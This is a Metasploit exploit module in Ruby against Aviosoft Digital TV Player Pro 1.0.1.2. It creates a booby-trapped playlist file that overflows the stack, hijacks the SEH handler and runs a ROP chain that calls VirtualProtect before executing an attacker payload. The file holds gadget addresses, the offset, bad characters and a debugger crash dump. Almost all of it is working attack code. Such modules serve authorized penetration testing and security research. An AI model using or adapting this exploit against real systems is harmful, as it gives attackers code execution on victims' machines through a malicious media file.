##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Aviosoft Digital TV Player Professional 1.0 Stack Buffer Overflow",
   'Description'    => %q{
      This module exploits a vulnerability found in Aviosoft Digital TV Player
     Pro version 1.x.  An overflow occurs when the process copies the content of a
     playlist file on to the stack, which may result aribitrary code execution under
     the context of the user.
    },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'modpr0be',  #Initial discovery, poc
     'sinn3r',    #Metasploit
    ],
   'References'     =>
    [
     ['OSVDB', '77043'],
     ['URL', 'http://www.exploit-db.com/exploits/18096/'],
    ],
   'Payload'        =>
    {
     'BadChars' => "\x00\x0a\x1a",
     'StackAdjustment' => -3500,
    },
   'DefaultOptions'  =>
    {
     'ExitFunction' => "seh",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [
      'Aviosoft DTV Player 1.0.1.2',
      {
       'Ret'    => 0x6130534a,  #Stack pivot (ADD ESP,800; RET)
       'Offset' => 612,         #Offset to SEH
       'Max'    => 5000         #Max buffer size
      }
     ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Nov 9 2011",
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('FILENAME', [false, 'The playlist name', 'msf.plf'])
    ], self.class)
 end

 def junk(n=1)
  return [rand_text_alpha(4).unpack("L")[0]] * n
 end

 def nops(rop=false, n=1)
   return rop ? [0x61326003] * n : [0x90909090] * n
 end

 def exploit
  rop = [
   nops(true, 10),  #ROP NOP
   0x6405347a,      #POP EDX # RETN (MediaPlayerCtrl.dll)
   0x10011108,      #ptr to &VirtualProtect
   0x64010503,      #PUSH EDX # POP EAX # POP ESI # RETN (MediaPlayerCtrl.dll)
   junk,
   0x6160949f,      #MOV ECX,DWORD PTR DS:[EDX] # POP ESI (EPG.dll)
   junk(3),
   0x61604218,      #PUSH ECX # ADD AL,5F # XOR EAX,EAX # POP ESI # RETN 0C (EPG.dll)
   junk(3),
   0x6403d1a6,      #POP EBP # RETN (MediaPlayerCtrl.dll)
   junk(3),
   0x60333560,      #& push esp #  ret 0c (Configuration.dll)
   0x61323EA8,      #POP EAX # RETN (DTVDeviceManager.dll)
   0xA13977DF,      #0x00000343-> ebx
   0x640203fc,      #ADD EAX,5EC68B64 # RETN (MediaPlayerCtrl.dll)
   0x6163d37b,      #PUSH EAX # ADD AL,5E # POP EBX # RETN (EPG.dll)
   0x61626807,      #XOR EAX,EAX # RETN (EPG.dll)
   0x640203fc,      #ADD EAX,5EC68B64 # RETN (MediaPlayerCtrl.dll)
   0x6405347a,      #POP EDX # RETN (MediaPlayerCtrl.dll)
   0xA13974DC,      #0x00000040-> edx
   0x613107fb,      #ADD EDX,EAX # MOV EAX,EDX # RETN (DTVDeviceManager.dll)
   0x60326803,      #POP ECX # RETN (Configuration.dll)
   0x60350340,      #&Writable location
   0x61329e07,      #POP EDI # RETN (DTVDeviceManager.dll)
   nops(true),      #ROP NOP
   0x60340178,      #POP EAX # RETN
   nops,            #Regular NOPs
   0x60322e02       #PUSH # RETN
  ].flatten.pack("V*")

  buf  = ''
  buf << rand_text_alpha(target['Offset']-buf.length)
  buf << [target.ret].pack('V*')
  buf << rand_text_alpha(136)
  buf << rop
  buf << make_nops(32)
  buf << payload.encoded
  buf << rand_text_alpha(target['Max']-buf.length)

  file_create(buf)
 end
end

=begin
eax=00001779 ebx=047a02c0 ecx=000001f4 edx=047a6814 esi=047a77bc edi=00130000
eip=6400f6f0 esp=0012f038 ebp=00000001 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
MediaPlayerCtrl!DllCreateObject+0x220:
6400f6f0 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:000> !exchain
0012f3bc: *** WARNING: Unable to verify checksum for C:\Program Files\Aviosoft\Aviosoft DTV Player Pro\DTVDeviceManager.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Aviosoft\Aviosoft DTV Player Pro\DTVDeviceManager.dll -
DTVDeviceManager+534a (6130534a)
Invalid exception stack at 41414141
0:000> !address edi
    00130000 : 00130000 - 00003000
                    Type     00040000 MEM_MAPPED
                    Protect  00000002 PAGE_READONLY
                    State    00001000 MEM_COMMIT
                    Usage    RegionUsageIsVAD
0:000> !address esi
    047a0000 : 047a0000 - 0000b000
                    Type     00020000 MEM_PRIVATE
                    Protect  00000004 PAGE_READWRITE
                    State    00001000 MEM_COMMIT
                    Usage    RegionUsageHeap
                    Handle   013c0000
=end